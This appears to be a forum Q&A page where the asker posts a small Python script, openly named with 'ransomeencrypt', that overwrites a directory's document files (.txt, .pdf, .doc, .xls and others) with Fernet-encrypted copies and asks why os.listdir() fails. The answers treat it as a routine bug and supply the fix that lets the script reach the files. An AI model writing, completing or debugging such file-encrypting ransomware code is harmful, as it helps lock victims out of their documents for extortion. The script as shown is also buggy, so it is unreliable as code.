Junaid Sheik
Junaid Sheik

Reputation: 9

TypeError: listdir() takes exactly 1 argument (0 given)

when I execute this in my win10 I get this error. But when I am using:

dirs = os.listdir(path) for file in dirs: print(file)

I can see all the files in dir, I need help!

error: Raw_Files = os.listdir() TypeError: listdir() takes exactly 1 argument (0 given)

def ransomeencrypt(file_name):
    Lock = Fernet (key)
    with open (file_name, 'rb') as file:
        data = file.read ( )
    protected = Lock.encrypt (data)
    with open (file_name, 'wb') as file:
        file.write (protected)


def ransomedecrypt(file_name):
    Unlock = Fernet (key)
    with open (file_name, 'rb') as file:
        data = file.read ( )
    decoded = Unlock.decrypt (data)
    with open (file_name, 'wb') as file:
        file.write (decoded)


Raw_Files = os.listdir()
Files = list()

for File in Raw_Files:
    if File.endswith('.txt', '.pdf', '.doc', '.docx', '.ppt', '.ppx', '.xls', '.xlsx'):
        Files.append (File)

function = ransomeencrypt

for File in Files:
    function (file)

Upvotes: 0

Views: 781

Answers (2)

goodwin
goodwin

Reputation: 49

Here you are passing 0 arguments to os.listdir. But you should at least pass one argument and that argument should be the path which you want to access.
For eg:-

# Open a file
path = "d:\\tmp\\"
dirs = os.listdir( path )

Upvotes: 0

kotatsuyaki
kotatsuyaki

Reputation: 1641

From the documentation of os.listdir, it reads:

Changed in version 3.2: The path parameter became optional.

Since the TypeError: listdir() takes exactly 1 argument (0 given) error you're getting suggests that the parameter is not optional, you're probably running an old version of Python. Upgrading it should solve the issue.

Alternatively, you may supply '.' as the parameter like this.

# ...
Raw_Files = os.listdir('.')

Upvotes: 1

Related Questions